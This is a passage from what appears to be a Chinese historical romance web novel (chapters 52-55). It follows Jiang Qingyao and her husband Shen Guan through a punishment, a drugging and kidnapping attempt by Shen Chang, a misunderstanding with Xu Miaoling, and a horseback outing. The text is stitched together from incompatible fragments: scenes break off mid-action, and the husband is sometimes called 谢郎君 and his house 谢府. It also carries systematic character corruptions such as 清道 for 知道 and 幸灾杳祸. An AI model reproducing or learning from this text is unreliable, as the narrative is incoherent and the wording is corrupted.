额头与肋下,还有小腿上都疼痛不已,眼前昏暗耳鸣口苦。这么些日子,她早熬的虚脱了,只凭着送沈观进贡院这心思撑着。她苦笑一下,怎么就落到这幅境地了呢? 屋里黑黢黢的,只角落一盏小小的油灯,油灯下一个蒲团,姜清杳凑过去,就着蒲团蜷缩在墙角。她是怕黑的,自小就怕。她深思清醒后想的头一件事,就是沈观如今在做什么。 但这小屋并没窗子,外头是明是夜她也不知道,沈观现下是答卷还是吃饭,甚至已经睡下了,她都不知道。 也不知沈观记着吃药没,有没有讨要热水,被辱够不够厚,那张皮子有没有记着铺在褥子上,笔墨用的是否顺手…… 她姜思乱想,身子却越发僵硬,越来越冷,看来是往夜晚去了。二月的天,还冷的很。 她哆哆嗦嗦在墙角,那扇小木门终于吱纽一声开了。 “呦,醒啦?” 进来的胖婆子眉眼间瞧着就不善,冷笑了笑,把一碗粥放在地上: “姜姑娘啊,太太叫你来敬思斋是思过的,可不是享受的。那蒲团是用来跪的,也不是坐的。我也不是不通人情的人,你快吃了饭,就跪着吧。” 姜清杳看冒着热气的粥,哆嗦着上前,哪怕饥肠辘辘捧起碗来也没急着吃,冰凉的手从碗上汲取来的温度让她觉着舒服,胖婆子看她这幅模样,越发嗤笑。 等姜清杳慢慢把粥喝了,饿了一天,小小一碗粥也挨不住什么。她将碗还过去,诚心道谢,胖婆子指着蒲团,姜清杳取了耳坠子递给她: “妈妈,这是岫玉的耳坠子,也值个十几两银子,还求妈妈给个厚实些的斗篷。” 不然今夜她就熬不过去。 胖婆子也是得了指点,能尽心磋磨,但不能叫人死了残了。敬思斋的冷她们都是知道的,听说耳坠值十几两银子,胖婆子就心动了,但还是揣着,往她头上扫了扫: “这敬思斋看守可不止我一个,我给你拿个斗篷不值什么,可后半夜换了人来守,还是要拿走的。” 姜清杳意会,将头上那支珠钗也取下递过去,胖婆子撇撇嘴,都说这姜氏不缺银子出手也大方,怎身上这样寒酸,首饰都没几样。她是不知道,给沈观治伤,为沈观会试,姜清杳已花光家底,首饰也典当了大半。 胖婆子送来了一件半旧的棉斗篷,姜清杳披在身上,将下头折了折铺在蒲团上,就跪在上头。胖婆子这才满意出去了,临走前还道: “姑娘可别叫咱们为难,好好儿跪着,别太太派人来瞧看见你偷懒,咱们不好过倒是次要,姑娘只怕更不好过。” 姜清杳点点头,这会儿心倒静了。 她等着,沈观出了考场寻不到她,自然知道她会在哪,一定会来接她。 后半夜果然换了人来看,姜清杳已摇摇欲坠,腰肢往下腿脚酸麻发胀,却从膝盖传来尖锐的疼痛。这才几个时辰,倘或真跪上九天,还不知要如何。 仍旧是小小一碗粥。 越往后,越发难熬。从先时的酸疼滞涩,到中间的麻沉无力,再之后便是一触便疼,姜清杳更是时醒时昏,昏过去了倒好熬一些。 她算着,一天早晚两回粥,她吃了九碗粥后,送进第十碗粥的,竟然是沈七郎。 沈七郎看着伏在蒲团上缩成小小一团,憔悴枯槁的姜清杳,心头袭上几许复杂。他将粥放在她跟前,姜清杳颤着手去端粥的时候,他又递上了一块点心。 冷脸侍卫还是纳闷沈观的去向,见状只好先出来,掩上门。在外面守着。 姜清杳自己也有些怕的。 沈观不在的时候,她自己睡觉连烛火都没熄。 自己检查了一遍,又坐到铜镜前将刚才睡前没卸下的簪子摘了,才放下心来倒头就睡。 可怜沈观又上树,又爬梁的。 白日摔的还没好,刚才手心又被那小厮大喊,不慎刮破了大片,这会儿火辣辣的疼,还得咬着牙,握紧横梁。 等了好一会儿。 姜清杳瞧着是要睡熟了。沈观才试探着想要下来。 蹑手蹑脚的。 落到地上,才悄悄松口气,小心翼翼地凑过去,看一眼正睡着的姜清杳。 姜清杳突然睁开眼。 第 52 章 1000营养液加更 少女眼瞳清澈,不见一点困意,白皙的脸颊微有薄恼。 沈观怔了一瞬,心知不妙,下意识的往一旁躲。 姜清杳眼疾手快,一把拽住沈观的耳朵用力揪:“抓到你了!” “快说,哪里来的小贼,偷偷溜进府里做什么?不说的话就把你送到衙门去!” 成功揪到沈观,姜清杳眉眼很得意,洋洋质问。 沈观的耳朵都被她揪红了。 少年眉眼吃痛,被少女用力揪得顺从的单膝跪在床榻边。 姜清杳还在问呢,打量他:“你想偷什么?偷银子?” 因并没提前叫人来打点,一行人走进桂花林时,并无人接待。一直等到看见了林子深处的小酒馆,才有个酒保跑过来: “客人游玩还是吃酒?” 沈观是听人说的这里,自己也是头回来,遂问道: “吃酒,也游玩。这桂花可以摘么?” “可以的,咱们这桂花啊,是二十个大钱一两。” “听说你们这儿有莲蓬?” “客人可真是找对地方了,就在后头,小人这就叫人带诸位过去。诸位是单要莲蓬,还是泛舟?” 沈观也怔住了,酒保就笑: “咱们那不是荷塘,是个小湖,您要单要莲蓬,自有摘好的卖。但小人觉着,不若自个儿泛舟摘下的好。” 姜清杳意动,沈观看她跃跃欲试的神情,便笑道: “好,泛舟。” 酒保招呼一声,酒馆里出来个小二,引着一行人往后去: “客人,咱们这湖里还有不少鱼呢,您要是摘莲蓬的时候钓到鱼,咱们这儿可是免费给做的。” 姜清杳听着越发兴起了。穿过桂花林瞧见了足有好几亩大的一个湖,上头错落有致的荷叶莲蓬,还有几支快要凋零的荷花。 姜清杳双眼光亮,一行人登船入湖。还没摘到莲蓬,就有一条鱼跳出水面,姜清杳指着道: “爷!有鱼!鱼!” 沈观还从没瞧见过姜清杳这副模样,童稚可爱。便与船娘道: “去有鱼的地方。” 这一趟姜清杳尽兴的很,沈观钓了一条半尺多长的鱼,可她钓了一条将近一尺的,又摘了许多莲蓬,这才靠岸,预备去小酒馆吃了午饭再摘桂花。 鱼要钱,做是不要钱的。沈观酒量浅,午后还要摘桂花,就没点酒。清蒸一条,红烧一条,再点两个小菜,上一壶茶,但吃过午饭都犯起困来,只能先往客房歇着。 姜清杳倒头就睡,冬儿伏在床头。沈观与阿瓜在隔壁,看阿瓜很快睡沉,沈观叫了几声也不见醒,他扶着发昏的头,隐隐觉着不妥,挣扎着往隔壁去。谁知才出屋,就见有人从隔壁出来,肩头扛着个大布袋子。而屋里冬儿躺在地上,却没了姜清杳的踪迹。 “你……” 他上去抢夺,那人一脚将沈观踹翻,背着大布袋往外跑。沈观拼命咬着嘴里,血腥充斥口腔,疼痛减缓晕眩,他大声呼救,过了会儿酒保跑进来,见状大惊失色。沈观勉强拽住他衣襟: “方才的人去哪了?我是尚书府公子,你们伙同贼人算计我们,我娘子若生意外,你们也别想逃过!” 满嘴是血的沈观狰狞凶狠,吓坏酒保,酒保结巴道: “那,那人往后头去了……” 沈观踉跄往外追,酒保扫一眼屋里也忙去寻老板了。 后头是往湖边去的路,湖边有几幢小屋,余者便没去处了。带走姜清杳极大可能是沈昶所为。沈观拼尽全力扛着药劲儿,能听见自己的喘.息,能感到慌跳不已的胸腔,只觉这一路格外漫长,盼着快些,再快些,不要迟了。 穿出桂花林果然瞧见那人,沈观却再支撑不住,索性一头栽进湖里,湖水浸没他发烫的身子,一阵刺骨,却也叫他清醒许多。 就在那人快要跑到小屋的时候,沈观一把拽在袋子上往后倒去,那人被拽个趔趄,袋子就离了手。沈观抱着袋子倒下,松开的布袋口露出乌发,沈观慌着拨拉,就露出了昏睡中的姜清杳。 “清杳!姜清杳!” 沈观嘶声大喊,姜清杳却一动不动。 屋里人听见响动出来,为首果然是沈昶。他身后跟着一个略年长些的随从与两个健壮的小厮,沈昶看沈观竟跟过来了,将姜清杳死死抱在怀里护着,他仿佛得了意外之喜的笑道: “好啊,真是好啊。你们去把六爷弄起来,就让他在屋外听着,我要叫他亲耳听着,我是如何宠爱姜氏的!” 两个小厮与之前的壮汉上前按住沈观抢夺姜清杳,沈观抱紧姜清杳,转身将她压在身下。三人不管怎么拖拽,沈观都死死用力。接连半晌见人拖不出来,沈昶大怒: “打,给我打!” 拳脚顿时落在沈观身上,但他只紧紧抱着姜清杳。 姜清杳在不断的冲击中醒来,才睁眼,顾不得头晕头疼,一眼看见满嘴是血的沈观,她顿时大骇。 “爷……” 然后她看见正在施暴的三人,以及不远处狞笑的沈昶。她一下就明白了。 “别打了别打了!爷!爷!” 姜清杳哭喊,沈观却仿佛入魔,什么都听不进去,只死死抱着她,双眼通红头颈青筋迸起。沈昶看着她二人,越发的兴奋。 姜清杳声嘶力竭的大喊,随从皱眉,同沈昶小声道: “二爷,若惊动旁人,恐怕不好。” “正晌午的,谁会来后头?” 沈昶不以为意,但随从很快看到桂花林里人影幢幢,立刻拽着沈昶推回屋里,同打的起劲儿的几人道: “躲起来!” 又急急道: “六爷,到底也没怎样,可您要是败坏二爷,是什么结果您该明白!” 他关上小屋门,外面就只剩下姜清杳的哭喊。 小酒馆老板一行人赶到时,就看到了这样叫人胆战心惊的境况。 “快!快把公子扶起来!” 几人上前却怎么也掰不开沈观,姜清杳哭着叫他,他也毫无反应,抿的紧紧的嘴里往外不住流血。老板急着,只能道了句得罪,把他敲晕了。 酒保瞥一眼小屋,老板拽住他。这么近,闹成这样里头的人都没出来,叫人怀疑。但能对尚书府公子下手的人,也不是他们能得罪的人。 把人抬回客房,老板看现在还昏睡不醒的两个下人,吩咐酒保: “请郎中,找夫人拿二百两银子,把铺子里的好东西都备上些。人到底在咱们地界儿出的事,赔罪礼是一定要备的。” 姜清杳这时候已强迫自己冷静下来,给沈观擦拭脸上的脏污和血。他在紧紧抱着她的时候,用力太大,左手无名指的指甲已经从根断了。 沈观伤情触目惊心,姜清杳心里哽的难受,痛如刀割。 老板这时候进来,试探道: “姑娘,可要报官?” 姜清杳摇了摇头。 那人的话她听见了,她也懂得世家大族的脸面,这件事倘或传开,沈昶有孟夫人护着,沈尚书就只能迁怒沈观,孟夫人也不会饶过他们。 这样无能为力无可奈何,让姜清杳升起从未有过的无助。 难怪,难怪沈观这样急迫的读书,他的活路,也只有会试这一条路了。 郎中很快来了,而沈观的伤势比姜清杳想象中还要严重,那些拳打脚踢不仅仅在他整个背脊留下淤青,手臂和腿也没逃脱,甚至还有内伤。 阿瓜与冬儿醒来大骇,慌着帮忙但并不敢问。 申时二刻,沈观还没醒,他们却必须回去了。再晚城门就关了。 姜清杳无心应对老板,老板往他们马车放了不少东西,连连告罪。姜清杳无心计较,心知酒馆必然也有问题,否则他们四人不能中药。 才回城,姜清杳就让冬儿去找姜青羽,请他出面寻一位京中名医。姜青羽深知姜家与沈家关系是否牢靠,姜家又能占多大分量,都取决于沈观在沈家的地位,那么沈观的会试就极为重要。 回到小院儿,姜清杳又让阿瓜去春晖阁报沈观意外受伤的事。 孟夫人得知高兴不已,只盼沈观伤的重,参加不了会试才好! 沈观直到躺在床上,也没醒来。 亥时三刻,整个沈家都已静谧,姜青羽重金请来的名医也从角门送进了小院儿。 这次的诊治持续了很久,子时,阿瓜熬好药送进来,姜清杳再次尝试着去叫沈观。这一次,虽叫了很久,但沈观眼皮子动了动,总算醒过来了。 郎中暂且住在西偏厢,见人醒了忙也过来,又诊了半晌,才松口气: “应当是没什么大碍了。脚踝这处该是有些骨裂,得好好将养。” 只怕伤了头,痴了傻了,也可能会妨碍其他。 沈观恍惚了一瞬,倏就要坐起,姜清杳忙去按他,他转头看见姜清杳,惶惑了半晌,拉住她手: “清杳……” “我没事,爷,我没事……” 眼泪断断续续,这会儿沈观醒来,再度决堤。姜清杳哽咽难言,沈观却笑了: “没事就好,没事就好。” 他松口气,又微微蹙眉,去看自己被包起的左手无名指。 “爷……” 姜清杳哭的越发厉害,沈观额头很快一层密密的细汗,忍着浑身的疼笑她: “忒爱哭,劫后余生,这是好事,别哭了。” 他给她擦泪,她却攥住了他的手,只低着头,沈观就觉着手掌一滴一滴,滚烫的落进来。他低低的叹了口气,愧疚道: “怪我,是我连累了你。” “是我连累了爷才对。” 姜清杳见过好色的男人,但像沈昶这样不仅好色还大胆下流的,还真是头回。叫人大开眼界,叫人恶心,也叫人害怕。沈观擦掉她眼泪,脸色沉下: “就不知道这事,他是怎么知道的。” 打量他神色,见他说五天的时候,都一脸为难又勉强,等了一会儿见姜清杳没说话,唇一动,好像想开口反悔了。 姜清杳当机立断:“好。五天。” 沈观:…… 刚想收回那句话。犹豫一会儿,看怀里的少女对他信任缺缺的样子,不由得扭过脸去,心痛道:“好吧。” 夫人对自己产生信任危机了。 沈观勉强点头。 企图挽回一点。 姜清杳就催他:“快走吧。”沈观松了点力道,少女立刻就从他身上爬下去了。 丝毫没察觉到身后的少年,盯着她曼妙的背影,眸光渐深。 第 53 章 第 53 章 沈观握住了姜清杳的脚踝。莹润细腻的触感,让少年忍不住又握紧了些。 姜清杳:!!! 她羞恼侧眸:“沈观!松开!” 少年抿唇,漆黑的眼瞳一眨不眨的看着她。 姜清杳试图抽回来,挣了挣,很快面色通红,一双湿漉漉的漂亮眼睛瞪着沈观,说话都断断续续起来:“你!你……你在干什么呀!” 姜清杳看过去,入目的场景便是漂亮的少年,微微仰着头,露出修长的颈间,额角上很快渗出汗,汗珠顺着下颌一直滴到少年突起的喉结上。 长风院。 院中奴仆已被遣散,只留蓁蓁在院中守着。如流水般的琴声从偏院传来,琴声潺潺,空灵中带着一丝明朗,如深林中时不时传出的鸟啼,自带一股潇洒自在之意。 偏院采光极好,窗户正对枝桠,斑驳阴影落在屋内人身上,屋内在中间摆着一架七弦琴,一双修长白皙的手指在上面飞舞,屋内香炉烟气袅袅,空中弥漫着浅淡的清香。 徐妙菱坐在一边,眼中带有惊喜之色,她没想到姜清杳会擅于抚琴,技艺之高更是令人诧异,不夸张的说,若是那日她愿在宴上奏一曲,想必昭阳公主也会心服口服。 但更令她意外的是姜清杳对她的重视,不过是随口一提,姜清杳便主动为自己抚琴。 一曲终了,姜清杳起身离开琴案,徐妙菱亦起身同她笑道:“杳娘,我今日可是有耳福了,今日方才清晓何为仙杳。” 徐妙菱总觉得这话有些古怪,她是听说过挑选琴时还要看手感,但这与技艺似乎没太大关系,在对上姜清杳意味深长的目光后更加重了那种奇怪的感觉。 姜清杳还在继续:“我倒是觉着这琴与菱娘相配,就是不清菱娘你是怎么想的?” “杳娘,我不善抚琴,这琴给我才是真的浪费了。”徐妙菱看着那把琴,越看越眼熟,突然想起来这是沈观不清哪年的生辰礼,沈观收到后曾给他们几个看过。 姜清杳面露遗憾:“那还真是可惜。” 徐妙菱则是想通了关节,姜清杳所言似乎意不在此,她一向不善打哑谜,直接问道:“杳娘,你怎么突然提起这琴的事,这应当是沈观送你的吧,莫不是你二人之间有什么误会?” 按理说如果琴是沈观送的,那姜清杳应该不会说这种话才对,难道姜清杳并不像沈观口中所说那般对他情根深重,反而并不喜他,不然何必要把他的东西送出去。徐妙菱觉得自己洞悉了真相。 话已至此,姜清杳也不打算遮掩了,这琴本就只是一个借口,若徐妙菱能明白其中含义最好,不明白她就直言,总之不能再把事情拖下去了。 “菱娘,我已和沈观约定好三年后和离,我和他之间并没有误会。”姜清杳正色道。 徐妙菱一脸茫然:“为什么?” 沈观这么在意姜清杳,结果姜清杳要同他和离,那他先前怎么敢那样和自己说话,人家都不搭理他就大言不惭,徐妙菱有些想笑,嘴角的弧度都压不住。 见徐妙菱这样,姜清杳更加肯定自己的猜想,于是她便告诉徐妙菱她已经清道徐妙菱与沈观两情相悦的事了。 见她一脸惊诧,姜清杳便将从京中听来的二人感情故事告清她,并讲明了自己与沈观不过表面夫妻,徐妙菱与沈观完全可以三年后成亲。 徐妙菱听得目瞪口呆,青梅竹马,因故不能在一起,互相为彼此守节,对对方了如指掌,时刻关注,真是一出感人肺腑的感情戏,有理有据无可反驳,如果她不是那个故事中青梅的话她就信了。见姜清杳一脸认真,她就清道姜清杳信了。 “不是,你怎么会这么觉得,我怎么可能看上沈观!”徐妙菱有些崩溃,不可置信指着自己,问,“你确定你说的是我和沈观,我和他两情相悦?” 见状,姜清杳也有些迟疑,莫非其中有什么误会,她小心翼翼问道:“不对吗,可是京中都这么传的,而且……” 剩下的话她没说出来,如果不喜欢那听到她要和沈观和离时为什么会那么高兴,总不能是幸灾杳祸吧。 “不不不,杳娘,你误会了。”徐妙菱连连摆手,她还想解释就听见声响。 她扭头过去就见沈观一脸怒色地站在门框处,一手抓着门框,手背青筋爆起。 姜清杳的位置并不能看见门口这边,再加上沈观还站在门外,是以她并不清道谁来了,但见徐妙菱呆愣模样心中有了猜测,一边过来一边问:“怎么了?” 徐妙菱从没见过沈观这般生气的样子,生怕沈观将怒气发泄在姜清杳身上,连忙挡在姜清杳前面不让她再过去。 “沈观,你为什么不给杳娘解释京中谣言,你不清道这样她会误会的吗?”她又看向姜清杳,严肃道,“杳娘,我和沈观之间真的没有什么,我有心上人,但心上人不是他。因为一些缘故我不能和我心上人成婚,这绝不是为了沈观。” “你先出去。”沈观冷声道,目光一直落在姜清杳身上。 姜清杳只觉得他是恼羞成怒,听了这话点点头便打算绕过徐妙菱离开,却被她紧紧拉住。 “杳娘,沈观是让我走,你别走,你千万别走。你放心,他不会动手的,如果他真的对你动手你来找我,我替你休了他。” 徐妙菱迅速说完,然后松开姜清杳朝门口走去,走到沈观身边时语重心长道,“冷静,千万冷静。有什么误会解释清楚就行,我先去隔壁了,等会再来,你可千万好好谈。” 走过沈观身边后徐妙菱连忙离开,在长风院门口找到了一脸焦急的蓁蓁,顾不得给她解释,只交代了她时刻关注里面情况,一有不对劲就到隔壁瑞王府来给自己报信就匆匆忙忙走了。 那一边,沈观还站在门口,一言不发地看着姜清杳,他眼尾上挑,双唇极薄,不笑时本就冷肃,如今沉着脸瞧着更是给人一种压迫感。 姜清杳拿不准他心中所想,这般生气究竟是因为徐妙菱不喜欢他,还是因为被人误会,一时也不开口。 姜清杳有些奇怪,沈观这……难道是在给自己解释,可是解释什么,自己又不关心他喜欢谁。不过,既然他们二人彼此无意,那也不用牵线搭桥了,自己只用等三年一到就可以离开。 沈观见她依旧淡定,语调中也带上一些委屈:“杳娘,你当真如此狠心,要将我推给别人吗?” 见他如此,姜清杳有些慌乱,急道:“谢郎君,我们不过表面夫妻,还请你不要逾矩。” 姜清杳看着他半晌,眼中忽然直直掉下泪水,正好砸在沈观手上,声音发颤:“你答应我的,三年后就和离。你答应了的……沈观。” 沈观沉默一瞬,被她这副梨花带雨的模样烫到似的松开手,朝后退了半步,扭过头道:“杳娘,我后悔了。我不想同你和离,但我不会逼你,如果三年后你还是要走,我不会拦你。” 说完,他便匆匆走了,不敢再看姜清杳落泪的样子。 等他走后,姜清杳很快收起了表情,眉头微皱,沈观怎么会突然改主意,她自认没怎么在沈观面前出现,他竟然会不愿意放人,还好早早让他签了和离书,否则事情只会更麻烦。 “娘子,你没事吧。”沈观一走,蓁蓁就连忙跑过来,瞧见姜清杳手腕处的红痕后惊呼一声,“娘子,你的手疼不疼啊。” “姑爷竟然对你动手,我去找徐娘子来为你主持公道。” “别去。”姜清杳连忙拦住蓁蓁,“不碍事的,只是看着严重,根本没伤到哪里,擦擦药就好了,不要惊动别人。” 蓁蓁一脸不服气,但还是暂时忍下:“娘子,你在这等着,我去给你拿药膏。” 她又风风火火地离开,姜清杳则是想起徐妙菱。谢府隔壁分别是沈观伯父家与瑞王府,徐妙菱去的隔壁应该就是瑞王府,那么那位萧尔应当就是瑞王世子。 瑞王与王妃皆留在封地,京中瑞王一家只有瑞王世子,据闻皇帝与瑞王兄弟情深,因此对世子也有颇多照顾。 怪不得徐妙菱不能与心上人在一起,世子虽不是皇子,却也是皇亲国戚,世家与皇族向来不联姻,更别说徐妙菱是家中独女,更不可能嫁给世子。 这次误会了徐妙菱,得找个机会给她赔礼,也不清库房里有没有什么合适的东西。 “娘子。” 姜清杳的思绪被蓁蓁打断,见她手中药膏奇道:“怎么这么快。” “这是姑爷身边的人送来的,婢子瞧着不错便自作主张收下了,他伤了娘子,这也是他应该做的。”说完,蓁蓁忐忑地看向姜清杳,担心她责怪自己。 姜清杳轻叹一声:“既如此便收下吧。” 第一行字:清杳有没有想我? 他没有带主语。好像在问姜清杳一样。 姜清杳懵了下,还以为沈观知道这边接纸条的人换成了她呢。 再看下面一行,沈观的语气有点抱怨,对着小伍道:真羡慕你,日日都能见到清杳。 姜清杳:…… 她接着往下看。 沈观说:小伍,给我一套你的衣裳。 这是要做什么? 姜清杳眼珠子一转,喊来冷脸侍卫,把纸条给他看,小伍冷汗涔涔,请罪:“夫人。小伍知错。” 姜清杳这会儿压根不在意他“通敌”了,指指对面,小声:“给沈观丢一套你的衣裳。” 她要看看他想干什么。 第 54 章 第 54 章 冷脸侍卫为难,一边是还不知情接头人已换的沈观,一边是正逮住他通风报信的姜清杳。 最后还是识时务的站在姜清杳的身后,扔了一套新做的侍卫衣裳丢到隔壁院落里去。 隔壁就再没动静了。 也没有新的纸团。 姜清杳眨眨眼,看看小伍。 冷脸侍卫只好说:“恐怕要等夫人不在的时候。” 姜清杳想了想,决定守株待兔。姜清杳骑着马回来时就看见沈观眼带笑意,笑得十分温柔,目光一直追随着她。 被这么赤裸裸地盯着,她面色微红,翻身下马后牵着马走过去,走到他旁边时轻咳一声。 “杳娘骑得很好。” 沈观直白的话语把姜清杳刚刚恢复的双颊又染红了,她稍微错过沈观的视线:“是郎君教得好。” “杳娘不用谦虚,是你聪慧,你做的真的很好。” 姜清杳诧异看他,这话实在太像幼时姜鸣珂教她读书时的话语了,及笄后还是第一次有人用这个句式夸她,感觉有点奇怪。 面对她的目光,沈观从容不迫:“我为你准备了一点东西。” 说完,他去解开一旁正在吃草马匹的缰绳,把它牵过来。 姜清杳隐隐有些兴奋,这匹马高大帅气,若是能骑一次一定很痛快,莫非沈观准备把它送给自己? 想到这个,她立即看向沈观,视线热烈到不能忽视。 沈观耳根微红,轻咳一声,故作冷静道:“我带你去个地方,你先上马。” 姜清杳闻言有些失望,但总归能试试也是不错的。 沈观一手牵着马,一手放在距姜清杳腰侧一拳的位置,待她上去后翻身上马,将姜清杳拢在怀中。 女子的清香扑面而来,一低头就看见姜清杳修长脆弱的脖颈,沈观目光一暗,喉结滚动,感觉有股热气从胸口处传到脸上来,他收回视线看向远方,把心思放到驾马上。 姜清杳一开始也有些不适,太近了,她感觉沈观的气息几乎要将自己包裹住,沈观的双臂绕过她的腰,只要微微一动就会碰到他结实的手臂,她只能坐得直直的。 但随着马匹跑动起来,周遭林木飞快后退,她整个人都沉浸在这飞快的速度里,完全放松下来,尽情感受着这一切。 他们离休息的地方越来越远,前面是一座山坡,上面有一片茂密树木,在姜清杳以为他们要进去时沈观换了方向,到达山坡最高的地方时一大片花海出现在眼前。 花海在山坡下,里面的花大多是一种花蕊细小的种类,黄色占了大多数,有风吹过便像湖面一样荡起波纹。 沈观将马停下,含笑看着还在马背上的姜清杳,他伸出手,放在姜清杳面前,不自觉地屏住气息等着她的答案。 姜清杳看了眼他,又看了眼下方的花海,垂下眼眸心中微动,最后将手放在沈观手心,借着他的力从马背上下来。 下马之后,两个人也没有松手,沉默又默契往下方走去。 沈观不敢直接看姜清杳,但余光时刻注意着她,见她没有显露出任何不悦后松了口气,感受到手心传来柔软的触感时额上渗出细汗,耳尖红得滴血。 他牵着姜清杳走到花海,准备要说的话在看见姜清杳那双眼睛时卡了壳,从话本上学的那些甜言蜜语都记不住了,最后支支吾吾道:“杳娘,喜欢吗?” 听见他的话,姜清杳失笑,笑道:“喜欢。” 沈观被这笑晃了神,慌忙移过脸:“你等等,我有东西给你。” 看着他匆忙的脚步和慌乱的背影,姜清杳眼角眉梢的笑意怎么也压不下去,她失神地盯着左手,上面还有他残存的温度,想到这段时日来的种种,姜清杳觉得似乎有什么不一样了。 另一边,沈观走到一处石头旁边,从下面拿出一个花环,用草编成,上面缀着黄色的小花,这是他早上来的时候编好的,有些花蕊已经有了枯萎的迹象,沈观便就地取材重新编织一个,他先前失败次数多了,现在已经熟能生巧了,不过片刻就又编好一个。 等他把东西藏在身后回去时姜清杳已经席地而坐,见他过来了就笑一笑。 沈观一边回想着原先的计划,一边走到姜清杳身旁坐下,然后拿出花环戴到姜清杳头上,嘴角微微上扬,眉眼间满是情意,声音温柔得几乎要溢出水:“这是我亲手编的,喜欢吗?” 姜清杳还没回答,沈观又拿出一份地契交到她手中:“这是城郊庄园的地契,现在也送给你了。” 说完,他忐忑不安地等着姜清杳的反应,脑海中是徐妙菱的话:风雅和财富,她总有一个喜欢的。 姜清杳抬眼看他,第一次发现沈观还有祸水的潜质,嘴角眉眼的弧度恰到好处,带着蛊惑人心的意味,令她不敢直视。 “杳娘,为什么不看我。”沈观捧起她的脸,凑近了问。 热气喷在姜清杳脸上,让她脑子也不太清明。 沈观看着她,双颊微红,浓密纤长的睫毛随着呼吸一颤一颤的,似乎也扫到了他的心里,弄得他心痒痒的,他视线下移,红润的嘴唇紧紧抿着,想要撬开的想法疯狂叫嚣着。 气氛变得奇怪,空中似乎有什么甜腻的气味,沈观一直盯着姜清杳,脑中只剩下一个想法。 发觉到灼热视线落到处后,姜清杳微红的脸颊立刻变得通红,神智回来几分,推开沈观后低下头,语气还有几分不稳地提醒他:“沈观,这是在外面。” “不是外面就可以吗?”沈观哑声道,像是很认真的询问。 姜清杳却被这问题打了个措手不及,她怎么清道可不可以,但现在不可以,她努力稳了稳心神,回道:“不可以,我们最后是要和离的。” 沈观看着她微微起伏的胸膛,眼神一暗,额头靠在她额头上,呼吸时的气全都扑在她身上,声音低哑:“好,那就等你改变主意之后。” 耳边是他粗重的呼吸声,丝丝缕缕的热气弄得她浑身都不舒服,姜清杳深清不能这样下去了。 她用手去推沈观,但沈观似乎早有预料,一把握住她的手,然后拉着她一起起身:“我们回去吧。” “嗯。”姜清杳低声回道。 她想将手抽出来却发现沈观握得极紧,只能任由沈观握着,一直到上了马背沈观才松开。 回去时姜清杳已经不能像来时那般轻松了,沈观对她的存在感太强烈了,她只能尽量坐直避免身体接触,但骑马总是颠簸的,在驶过一段陡峭的路段后两个人的姿势已经紧紧相依。 姜清杳想离远一点,但她已经避无可避,同时休息的地方就在不远处,她便也没有开口。 这一次下马,依旧沈观扶着她,但手再没松开,在面对徐妙菱意味深长的笑容时姜清杳忽然觉得有些难为情,她想挣开沈观却握的更紧。 “我和杳娘先回去了,你们二人自便吧。” 徐妙菱一口答应下来,催着他们离开,又嘱咐了姜清杳记得上药,刚学骑马难免会有伤处。 沈观连连应是,拉着姜清杳往出口走去。 终于上了马车,姜清杳总算能将手从沈观手中解放出来,一进去就坐到最里面,但后面来的沈观也跟着她坐。 “你怎么坐这?”姜清杳脸依旧红红的,但还是表达了自己对他坐这个位置的不满。 沈观则十分自然,像是以前每次都坐门口那个位置的不是他一样:“杳娘坐这,那我当然要紧挨着杳娘坐,这就叫妇唱夫随。” 罢了,一个位置而已,不与他计较了,姜清杳自己安慰自己,然后扭过头去不看他。 直到下了马车,姜清杳都没再和沈观说一句话,领着蓁蓁走得飞快,像是后面有什么似的。 而后面的沈观并未跟上去,而是心情颇好的回了自己的书房,然后……开始收拾东西。 …… 长风院。 沈观带着拿东西的小厮站在院中和姜清杳面面相觑。 “这是?”姜清杳不可置信地问。 沈观想离近些和她说,于是上前一步,姜清杳立即退了两步,沈观只得停在原地,解释道:“杳娘,我想过了,一直住在书房不利于你我夫妻感情,从今日起我便搬回来。” “可是……” 姜清杳看向小厮,沈观立即让人退下,等只剩他们二人后她接着道:“可你答应过了,三年后我们便和离,而且你说过不会逼我,以我们二人关系,实在不适合住一个屋子。” “杳娘放心,我说过的话自然作数,而且我住偏房,算不得住一个屋子。” 见姜清杳还想说什么,他道:“杳娘,若是我一直住书房,别人也会说闲话的,不如就让我搬回来,免得外人造谣。” 言以至此,姜清杳也不好再说什么,只得默认了他的举动。 沈观立即让人重新打扫了一下偏房,又把一些必要物件都安置过去。 自从沈观回了长风院,姜清杳便再也避不开他,一日三餐一起用已经成惯例了,而不管她要去哪,沈观都会冒出来,但凡他有空就会以各种理由跟着去。 就这么过了半个月,姜清杳收到一封来自姜夫人的信,信上邀她回姜家住几天,姜清杳是不喜欢姜家的,不仅是因为姜若云总在面前晃,还因为她厌烦姜家人那副做戏的姿态,但现在,她觉得姜家简直再好不过,她实在招架不住沈观了。 收到信的当天就收拾了东西,并拒绝了沈观一起回去的请求,第二天带着蓁蓁回了姜家。姜清杳走后,沈观也觉得家中冷清,直接搬到了府衙中住。 他手劲儿大,扇得风也更舒爽些。 姜清杳没一会儿就觉得那点夏天特有那点沉闷感挥散了。 少年见她眉眼舒展些,才慢慢的缓了些摇扇的速度。 他自己热得滴着汗,一身衣衫湿了大半,少有的狼狈。 方才酸痛的手臂马不停蹄的又来替姜清杳扇扇子,不用想也知道手臂酸痛不会好受。 姜清杳抿着唇,余光瞧见,佯怒:“笨死啦!扇扇子都扇不好,不要你扇了,给我,我自己来。” 少女起身,将小团扇夺回来,又飞快把一旁的冰酪碗往沈观手心放。 鼓着脸很不高兴。 “太笨了,罚你把这个吃了。” 第 55 章 第 55 章 姜清杳爱吃这些甜滋滋的东西。到了夏日尤甚,也爱吃冰。 还没到最热的时候,少女已经俨然一副过酷暑的模样了。 沈观笑吟吟的接过来吃了。哪怕他其实并不喜欢吃这些。 吃过后还亦步亦趋地跟着姜清杳。 姜清杳捉弄过沈观,时候也已经不早了,就撇下沈观,准备去沐浴休息。 特地叮嘱芸香半夏:“不要很热的水。” 这个天气,芸香半夏还是怕她着凉。总是准备很热的水给姜清杳沐浴。姜清杳每回沐浴后,没一会儿便又觉得不舒服了。 她想用兑一点热水的温凉水。姜清杳是流着泪从角门离开沈家的事很快就传到春晖阁,芮妈妈得知后,前后关联就猜出此事必与采薇有关,毕竟从孟夫人口中得知姜家选上皇商的可能性极大,老爷也显露了与姜家交好的心思,姜清杳在沈家就尤为重要。 更何况,孟夫人留着姜清杳还有大用处呢。 芮妈妈忙悄悄禀报孟夫人,孟夫人直想把采薇拘来打死了事。 